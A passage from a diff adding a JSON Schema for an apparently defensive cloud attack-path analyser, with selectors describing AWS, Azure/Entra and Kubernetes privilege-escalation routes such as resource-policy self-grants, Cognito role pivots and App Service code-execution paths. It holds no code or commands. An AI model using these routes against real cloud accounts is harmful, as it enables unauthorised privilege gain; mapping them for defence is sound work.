"aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "k8s_cluster_admin" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "assigned_to_identity_center_group": { + "const": true, + "description": "Permission set / user is reachable through an Identity Center group assignment (not collected)." + }, + "assumable_by_pivot_role": { + "const": true, + "description": "Role the pivot role ({pivot}, e.g. a StackSet administration role) can assume: its trust admits the pivot role (or its account) and the pivot's identity policy allows sts:AssumeRole on it (trust naming the pivot ARN in the same account suffices). For StackSets, a new or existing self-managed StackSet route must also reach the target account. The pivot itself is excluded; roles in other accounts are included." + }, + "attached_resource_covered_by": { + "description": "The resource carrying the target role ({target.attached_resource_arn}) is covered by the action.", + "minLength": 1, + "type": "string" + }, + "attached_to_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Identity is attached to a collected resource of that service (Lambda Role, EC2 instance profile, GCE/GKE service account, Azure resource identity incl. full ARM types). Uncollected attachment inventories fall back to trust/all identities with unknown confidence." + }, + "aws_cases_tag_self_grant": { + "const": true, + "description": "Reviewed Cases domain tag change unlocking PutCaseEventConfiguration for the source." + }, + "aws_challenge_fact": { + "description": "Exact externally verified technique/source/target evidence from aws_privesc_challenge_evidence. Missing or incomplete evidence is unresolved; a different source or target never matches.", + "type": "string" + }, + "aws_dynamodb_policy_self_grant": { + "const": true, + "description": "Same-account IAM user can grant itself GetItem on an exact AWS-owned-key table through PutResourcePolicy." + }, + "aws_efs_policy_self_grant": { + "const": true, + "description": "Reviewed ClientMount self-grant for the exact EFS file system." + }, + "aws_s3_access_grants_self_grant": { + "const": true, + "description": "Reviewed exact S3 Access Grants session with new READ permission on a bounded prefix." + }, + "aws_s3_policy_self_grant": { + "const": true, + "description": "Reviewed exact S3 bucket-policy self-grant for the caller and a bounded object prefix." + }, + "aws_scheduler_iam_self_grant": { + "const": true, + "description": "Exact Scheduler schedule and passed role can add an inline policy to its creator through a role-authorized IAM target API." + }, + "aws_scheduler_iam_self_grant_update": { + "const": true, + "description": "An exact existing Scheduler schedule and passed role can add an inline policy to the caller through a role-authorized IAM target API." + }, + "aws_secretsmanager_policy_self_grant": { + "const": true, + "description": "Reviewed GetSecretValue self-grant for the exact IAM user and secret." + }, + "aws_sitewise_portal_self_grant": { + "const": true, + "description": "Reviewed SiteWise Monitor portal ADMINISTRATOR grant to the source identity." + }, + "aws_sns_policy_self_grant": { + "const": true, + "description": "Same-account IAM user can grant itself Subscribe on an exact topic through SetTopicAttributes." + }, + "aws_sqs_policy_self_grant": { + "const": true, + "description": "Same-account IAM user can grant itself ReceiveMessage on an exact queue through SetQueueAttributes; an SSE-KMS queue also needs effective Decrypt on its collected key." + }, + "codedeploy_group_instance_role_covered_by": { + "description": "Target role is the instance role of a CodeDeploy deployment group covered by the action (not collected).", + "minLength": 1, + "type": "string" + }, + "cognito_developer_authenticated_role": { + "const": true, + "description": "Target role is the authenticated role of an identity pool with a developer provider, with trust admitting that pool's authenticated Cognito web identity." + }, + "cognito_developer_classic_role": { + "const": true, + "description": "Target role trusts the authenticated web identity of a developer identity pool whose Basic (Classic) flow is enabled, whether or not it is the pool's default role." + }, + "cognito_developer_enable_classic_role": { + "const": true, + "description": "Target role trusts a developer identity pool whose Basic (Classic) flow is disabled; the source can enable that flow and mint a developer token for the same pool." + }, + "cognito_developer_settable_authenticated_role": { + "const": true, + "description": "Target role can become the authenticated role of a collected developer identity pool and trusts that pool's authenticated web identity; the source must be able to mint a developer token for the same pool." + }, + "cognito_guest_update_classic_role": { + "const": true, + "description": "Target role trusts the unauthenticated web identity of a collected identity pool without role mappings; the source can enable guest and Basic flow on that pool." + }, + "cognito_user_pool_covered_by": { + "description": "Target role is mapped by an identity pool to a user pool covered by the action; dropped when the account's cognito_user_pool inventory is collected and empty, otherwise unknown (identity-pool roles not collected).", + "minLength": 1, + "type": "string" + }, + "cognito_user_pool_group_role_covered_by": { + "description": "Target role is the RoleArn of a user-pool group covered by the action; dropped when the account's cognito_user_pool inventory is collected and empty, otherwise unknown (groups not collected).", + "minLength": 1, + "type": "string" + }, + "consumer_input_writable_via": { + "description": "The source can write an input ({target.consumer_input_arn}) consumed by the target workload with the action.", + "minLength": 1, + "type": "string" + }, + "ecs_container_instance_role_in_cluster_covered_by": { + "description": "Target role is the instance role of an ECS container instance or the task role of a task placed on one (dropped when every cluster has 0 container instances; unknown without container-instance/task inventory).", + "minLength": 1, + "type": "string" + }, + "ecs_task_colocated_with_source_container_instance": { + "description": "Value {source.arn}: the source is an EC2 container-instance role and the target task or task-execution role runs (or, without placement facts, may run: unknown) on an EC2 container instance carrying the source's instance profile.", + "type": "string" + }, + "ecs_task_role_on_ec2_capacity": { + "const": true, + "description": "Target role is the taskRoleArn of an EC2/EXTERNAL-capable task definition (or of a running EC2 task) in an account whose ECS clusters have registered container instances; dropped when no such definition exists or every cluster has 0 container instances, conditional without task placement, unknown without task-definition inventory." + }, + "eks_authentication_mode": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "EKS cluster accessConfig.authenticationMode is one of the values (API, API_AND_CONFIG_MAP, CONFIG_MAP); unknown when not collected." + }, + "emr_runtime_role_of_cluster": { + "const": true, + "description": "Role trust names an EC2 instance-profile role used by an EMR cluster with a security configuration (runtime roles); unknown without emr_cluster inventory." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "has_instance_profile": { + "description": "Role is in at least one instance profile (InstanceProfileList).", + "type": "boolean" + }, + "has_login_profile": { + "description": "IAM user has (true) / lacks (false) a console password (LoginProfile detail).", + "type": "boolean" + }, + "instance_profile_name_prefix_or_path": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "One of the role's instance profiles has a name starting with the value, or (values starting with '/') a path containing it." + }, + "name_prefix": { + "description": "Role name (and instance-profile name) starts with the value.", + "type": "string" + }, + "org_member_account": { + "const": true, + "description": "Target belongs to an operational organization member account (not the management account); unknown without organization_account." + }, + "portfolio_of_target_product_covered_by": { + "description": "Target role is the launch-constraint role of a Service Catalog product in a portfolio ({target.portfolio_arn}); unknown without servicecatalog_portfolio inventory.", + "minLength": 1, + "type": "string" + }, + "quicksight_existing_iam_user": { + "const": true, + "description": "Existing active QuickSight IAM user with a non-admin role and an exact principal ID; only its matching IAM user can gain this application-plane authority." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "rolesanywhere_profile_includes_target": { + "const": true, + "description": "Target role is listed in an IAM Roles Anywhere profile ({target.rolesanywhere_profile_arn}, accepting {target.trust_anchor_arn}); dropped when the account's rolesanywhere_trust_anchor inventory is collected and empty, otherwise unknown (profiles not collected)." + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "service_plane": { + "description": "aws_service_plane_admin: the managed service whose application plane is administered (amplifybackend|connect|grafana|quicksight|scn; IAM service prefix).", + "enum": [ + "amplifybackend", + "connect", + "grafana", + "quicksight", + "scn" + ] + }, + "source_attached_policy_covered_by": { + "description": "A customer-managed policy attached to the source ({source.attached_policy_arn}) is covered by the action.", + "minLength": 1, + "type": "string" + }, + "source_group_covered_by": { + "description": "Source is a member of an IAM group ({source.group_arn}) on which it holds the action.", + "minLength": 1, + "type": "string" + }, + "source_kind": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Technique only applies when the source principal is of this kind." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + }, + "trust_allows_emr_containers_oidc": { + "const": true, + "description": "Role trusts an EKS OIDC provider with a sub condition on emr-containers-sa-* service accounts (EMR on EKS execution role)." + }, + "trust_allows_federated": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Role trust policy allows Principal.Federated equal to the value (e.g. cognito-identity.amazonaws.com)." + }, + "trust_allows_oidc_provider_covered_by": { + "description": "Role trusts an IAM OIDC provider ({target.oidc_provider_arn}); the entry's requirements on that ARN carry the action.", + "minLength": 1, + "type": "string" + }, + "trust_allows_principal_of_source": { + "const": true, + "description": "Role trust policy allows the source principal ARN, the source account (root/ID) or '*'." + }, + "trust_allows_principal_org": { + "const": true, + "description": "Role trust allows Principal '*' restricted by aws:PrincipalOrgID / aws:PrincipalOrgPaths, satisfied by an account of the snapshot's organization (unknown without the organization id)." + }, + "trust_allows_saml_provider_covered_by": { + "description": "Role trusts a SAML provider ({target.saml_provider_arn}) on which the source holds the action.", + "minLength": 1, + "type": "string" + }, + "trust_allows_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Role trust policy allows sts:AssumeRole for every named Principal.Service; a list requires all services." + }, + "trust_federated_provider_missing": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Role trusts a SAML ('saml') or OIDC ('oidc') provider ARN of its own account that does not exist (iam_saml_provider / iam_oidc_provider inventory; unknown when not collected)." + }, + "via_artifact_type": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target role's workload consumes an artifact ({target.artifact_arn}) of that type; artifact consumers are not collected (unknown)." + }, + "via_assumable_role_attached_policy_covered_by": { + "description": "An assumable same-account role becomes admin after the source creates a default version of an attached customer policy.", + "minLength": 1, + "type": "string" + }, + "via_assumable_role_covered_by": { + "description": "The source can assume a role on which it also holds the action (two-step self-escalation).", + "minLength": 1, + "type": "string" + }, + "via_resource_type": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target role is attached to an existing resource of that type ({target.resource_arn}); lambda_function, ec2_instance, codebuild_project, glue_job, redshift_cluster, rds_db_instance, sagemaker_notebook_instance and redshift_serverless_workgroup are collected, other types are unknown when the role trusts the type's service (imagebuilder_pipeline: ec2.amazonaws.com)." + } + }, + "type": "object" + } + } + } + } + }, + "azure_conjunction": { + "items": { + "$ref": "#/$defs/azure_item" + }, + "minItems": 1, + "type": "array" + }, + "azure_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/azure_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/azure_item" + }, + { + "$ref": "#/$defs/azure_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "azure_item": { + "anyOf": [ + { + "$ref": "#/$defs/azure_requirement" + }, + { + "$ref": "#/$defs/azure_group" + } + ] + }, + "azure_requirement": { + "additionalProperties": false, + "dependentRequired": { + "catalog": [ + "entra_catalog_role" + ], + "entra_owner_of": [ + "object_type" + ], + "fabric_workspace": [ + "fabric_workspace_role" + ], + "object_type": [ + "entra_owner_of" + ] + }, + "oneOf": [ + { + "not": { + "anyOf": [ + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "action" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_permission" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_role" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "graph_app_permission" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_owner_of" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_tenant_setting" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_group_member" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "fabric_workspace_role" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "intune_permission" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + } + ] + }, + "required": [ + "entra_catalog_role" + ] + } + ], + "properties": { + "action": { + "description": "ARM action (or dataAction with data_action: true).", + "minLength": 1, + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "catalog": { + "description": "Catalog id, '{target.catalog}' or '*'.", + "type": "string" + }, + "data_action": { + "type": "boolean" + }, + "directory_scope": { + "type": "string" + }, + "entra_catalog_role": { + "description": "Entitlement-management catalog role (display name or role definition id).", + "minLength": 1, + "type": "string" + }, + "entra_group_member": { + "description": "Source is a (transitive) member of the Entra group (display name or object id).", + "minLength": 1, + "type": "string" + }, + "entra_owner_of": { + "minLength": 1, + "type": "string" + }, + "entra_permission": { + "description": "microsoft.directory/... permission.", + "minLength": 1, + "type": "string" + }, + "entra_pim_eligible_role": { + "minLength": 1, + "type": "string" + }, + "entra_role": { + "description": "Entra directory role (name or template id).", + "minLength": 1, + "type": "string" + }, + "entra_tenant_setting": { + "enum": [ + "guest_invites_allowed_for_source" + ] + }, + "fabric_workspace": { + "description": "Fabric workspace id, '{target.host_resource}' or '*'.", + "type": "string" + }, + "fabric_workspace_role": { + "description": "Fabric workspace role at least as strong as this one.", + "enum": [ + "Admin", + "Member", + "Contributor", + "Viewer" + ] + }, + "graph_app_permission": { + "description": "Microsoft Graph application permission.", + "minLength": 1, + "type": "string" + }, + "intune_permission": { + "description": "Intune RBAC resource action (e.g. Microsoft.Intune_DeviceConfigurations_Assign).", + "minLength": 1, + "type": "string" + }, + "notes": { + "type": "string" + }, + "object_type": { + "enum": [ + "application", + "servicePrincipal", + "group" + ] + }, + "scope": { + "description": "ARM scope / Entra directory scope ('*' = any).", + "type": "string" + } + }, + "type": "object" + }, + "azure_technique": { + "properties": { + "id": { + "pattern": "^(azure|entra)-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/azure_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/azure_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "azure_challenge_foothold", + "azure_external_principal", + "azure_managed_identity", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "entra_group", + "k8s_service_account" + ] + }, + { + "items": { + "enum": [ + "azure_challenge_foothold", + "azure_external_principal", + "azure_managed_identity", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "entra_group", + "k8s_service_account" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "azure_member_user": { + "description": "Source is a directory user whose collected userType is Member; absent or Guest userType does not satisfy this selector.", + "type": "boolean" + }, + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + }, + "source_reaches_user_outside_target_group": { + "const": true, + "description": "The chain must reach an enabled user who is not already a member of the target group." + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "entra_group", + "entra_role", + "k8s_cluster_admin", + "k8s_service_account" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "attached_to_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Identity is attached to a collected resource of that service (Lambda Role, EC2 instance profile, GCE/GKE service account, Azure resource identity incl. full ARM types). Uncollected attachment inventories fall back to trust/all identities with unknown confidence." + }, + "attached_to_vm_joined_to_entra_domain_services": { + "const": true, + "description": "Managed identity attached to a VM joined to a Microsoft Entra Domain Services managed domain (JsonADDomainExtension naming the domainName of a Microsoft.AAD/domainServices resource): conditional (domain_join_state_not_verified); other VM identities unresolved (manual joins leave no ARM trace) unless no managed domain is inventoried." + }, + "azure_aci_assignable_uami": { + "const": true, + "description": "The source can assign the exact user-assigned identity and write an inventoried ACI container group or create one in an inventoried resource group; missing inventory stays unresolved." + }, + "azure_aci_exec_running_identity": { + "const": true, + "description": "The exact native ACI container group carries the target managed identity, has a running container, and the source can execute a command there." + }, + "azure_aci_existing_write_identity": { + "const": true, + "description": "The source can update an exact existing running ACI group that carries the target managed identity; terminated groups do not qualify." + }, + "azure_acr_assignable_uami": { + "const": true, + "description": "The source can write a task on an inventoried ACR registry or existing task and assign an exact, verified user-assigned identity resource." + }, + "azure_acr_existing_task_identity": { + "const": true, + "description": "The exact inventoried ACR task carries the target managed identity and the source can write that task." + }, + "azure_aks_rbac_cluster_binding": { + "const": true, + "description": "The exact AKS cluster enables Azure RBAC for Kubernetes, and the source can authenticate to its Kubernetes API before creating a ClusterRoleBinding." + }, + "azure_aks_rbac_group_impersonation": { + "const": true, + "description": "The exact AKS cluster enables Azure RBAC for Kubernetes, and the source can authenticate to its Kubernetes API." + }, + "azure_apim_restorable_backup": { + "const": true, + "description": "One fresh reviewed record binds a valid APIM-created backup, storage access, compatible restore target, controlled policy, and the exact attached identity." + }, + "azure_appservice_assignable_uami": { + "const": true, + "description": "The source can assign the exact inventoried user-assigned identity to an existing app it can write and control code in, or create an app in an inventoried resource group using a joinable plan." + }, + "azure_appservice_backup_restore_code_path": { + "const": true, + "description": "The source can restore a backup on the exact supported-tier App Service carrying the target identity; backup compatibility and code execution remain conditional." + }, + "azure_appservice_config_code_path": { + "const": true, + "description": "The target identity is attached to the exact app whose web or app-settings config child the source can write; the app's runtime must support a code-bearing configuration path." + }, + "azure_appservice_enable_publishing_credentials_code_path": { + "const": true, + "description": "The source can enable the exact app's SCM basic auth policy and read its publishing credentials; the app carries the target identity and can run deployed code." + }, + "azure_appservice_kudu_code_path": { + "const": true, + "description": "The target identity is attached to the exact App Service for which the source holds publish/action, with a supported Kudu hosting plan and an app that can run." + }, + "azure_appservice_onedeploy_code_path": { + "const": true, + "description": "The source can write the exact app's extensions/onedeploy child; the attached identity belongs to that app, and its runtime loads deployed packages." + }, + "azure_appservice_publishing_credentials_code_path": { + "const": true, + "description": "The source can read publishing credentials for the exact app carrying the target identity, SCM basic auth is enabled, and the runtime can load deployed code." + }, + "azure_appservice_sitecontainers_code_path": { + "const": true, + "description": "The source can write a SiteContainer child of the exact Linux app carrying the target identity, and that app uses SiteContainers mode." + }, + "azure_appservice_siteextensions_code_path": { + "const": true, + "description": "The source can install a site extension with a selectable package name on the exact Windows code app carrying the target identity." + }, + "azure_appservice_slot_code_path": { + "const": true, + "description": "The source has a code-bearing publish, source control, config, or SiteContainer route on the exact slot carrying the target identity." + }, + "azure_appservice_slot_publishing_credentials_code_path": { + "const": true, + "description": "The source can read publishing credentials for the exact slot carrying the target identity, and that slot's SCM basic auth policy allows credential use." + }, + "azure_appservice_slot_swap_code_path": { + "const": true, + "description": "The source can stage code and swap the same inventoried slot into the exact production app carrying the target identity." + }, + "azure_appservice_sourcecontrol_code_path": { + "const": true, + "description": "The source can write the exact identity app's sourcecontrols/web child and that app can execute deployed repository code." + }, + "azure_arc_custom_script_code_path": { + "const": true, + "description": "The source can create or update a Custom Script child on the exact Arc identity machine while its connected agent permits that extension." + }, + "azure_arc_entra_admin_ssh_path": { + "const": true, + "description": "The source can read Arc relay credentials for the exact machine endpoint and log in as administrator through configured Entra SSH." + }, + "azure_arc_guest_configuration_path": { + "const": true, + "description": "Exact Arc machine guest-configuration assignment write path and collected connection state." + }, + "azure_arc_run_command_code_path": { + "const": true, + "description": "The source can create or update a Run Command child on the exact Arc identity machine while its connected agent permits the handler." + }, + "azure_assignable_via_identity_holding": { + "description": "User-assigned identity reached through an intermediate user-assigned identity T: the source holds Microsoft.ManagedIdentity/userAssignedIdentities/assign/action on T and T holds the named action on the target identity resource (e.g. an Image Builder template identity that assigns the build-VM identity). The edge takes the weaker of both grants and the condition via_intermediate_identity:.", + "minLength": 1, + "type": "string" + }, + "azure_assignment_condition_uses_principal_attribute": { + "const": true, + "description": "azure_scope_owner / azure_dataplane_admin targets covered by a role assignment of the source (or its groups) whose ABAC condition reads @Principal custom security attributes (scope owner: the role grants roleAssignments/write at that scope; data-plane admin: the role has DataActions over the resource). Conditional (attribute_value_satisfying_condition_not_verified)." + }, + "azure_automation_assignable_uami": { + "const": true, + "description": "The source can assign the exact user-assigned identity to an inventoried Automation account or create one in an inventoried group, then create or edit and run a runbook there." + }, + "azure_automation_hybrid_worker_path": { + "const": true, + "description": "The source can create or edit and run a runbook on the Automation account with an inventoried Hybrid Worker VM carrying this identity." + }, + "azure_automation_runbook_identity_path": { + "const": true, + "description": "The source can create or edit and run a runbook on the exact Automation account carrying this managed identity." + }, + "azure_batch_job_pool_identity": { + "const": true, + "description": "The source can create a Batch job or schedule on the exact Entra-enabled account with a runnable native pool carrying this user-assigned identity." + }, + "azure_batch_pool_assignable_uami": { + "const": true, + "description": "The source can write an exact existing Batch pool or a new pool under an inventoried account and can assign the target user-assigned identity." + }, + "azure_batch_pool_starttask_identity": { + "const": true, + "description": "The source can write the exact native Batch pool that carries this verified user-assigned identity." + }, + "azure_batch_shared_key_pool_identity": { + "const": true, + "description": "The source can obtain a Shared Key from the exact Batch account with a native pool carrying this verified user-assigned identity." + }, + "azure_challenge_fact": { + "description": "Exact reviewed Azure technique/source/target/scope evidence; never a definite path.", + "type": "string" + }, + "azure_confidential_ledger_admin_path": { + "const": true, + "description": "The source has an Entra principal and the target is an inventoried usable Confidential Ledger whose ARM principal list can be updated." + }, + "azure_consumer_of_pivot": { + "anyOf": [ + { + "enum": [ + "key_vault_reference", + "storage_content", + "app_configuration_reference", + "queue_trigger", + 